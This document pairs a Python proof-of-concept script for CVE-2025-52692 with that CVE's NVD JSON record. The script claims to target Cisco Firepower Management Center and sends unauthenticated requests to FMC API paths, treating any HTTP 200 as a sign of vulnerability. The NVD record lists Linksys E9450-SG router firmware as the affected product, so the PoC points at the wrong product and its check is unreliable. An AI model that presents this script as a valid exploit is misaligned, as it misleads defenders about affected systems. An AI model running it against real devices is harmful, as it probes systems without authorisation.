CVE-2025-52692

import requests import sys # CVE-2025-52692 Authentication Bypass PoC # Target: Cisco Firepower Management Center def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-52692 """ # Common endpoints that might be accessible without auth endpoints = [ '/api/fmc_platform/v1/info', '/api/fmc_platform/v1/health', '/web/api/v1/system/health', '/api/fmc_config/v1/domain/{domain_uuid}/devicecluster' ] for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-52692-PoC)', 'X-Requested-With': 'XMLHttpRequest' } response = requests.get(url, headers=headers, verify=False, timeout=10) # Check if we get unauthorized response or actual data if response.status_code == 200: print(f'[+] Potential access to: {endpoint}') print(f' Response length: {len(response.text)}') return True elif response.status_code == 401 or response.status_code == 403: print(f'[-] Protected: {endpoint}') except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-52692.py <target_url>') print('Example: python cve-2025-52692.py https://192.168.1.1') sys.exit(1) target = sys.argv[1] print(f'[*] Testing {target} for CVE-2025-52692') print('[*] This vulnerability allows unauthenticated access to admin functions') if check_vulnerability(target): print('\n[!] Target may be vulnerable - further manual testing required') else: print('\n[*] No obvious vulnerability detected')

{"cve": {"id": "CVE-2025-52692", "sourceIdentifier": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "published": "2025-12-19T02:16:05.110", "lastModified": "2025-12-23T19:13:14.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successful exploitation of the vulnerability could allow an attacker with local network access to send a specially crafted URL to access certain administration functions without login credentials."}], "metrics": {"cvssMetricV31": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e9450-sg_firmware:1.2.00.052:*:*:*:*:*:*:*", "matchCriteriaId": "286482DA-1154-44D8-8C7C-7DE9BFC0E730"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e9450-sg:-:*:*:*:*:*:*:*", "matchCriteriaId": "967FA6E8-9D46-4BE5-9687-F0A5465BD481"}]}]}], "references": [{"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-118/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "tags": ["Third Party Advisory", "Exploit"]}]}}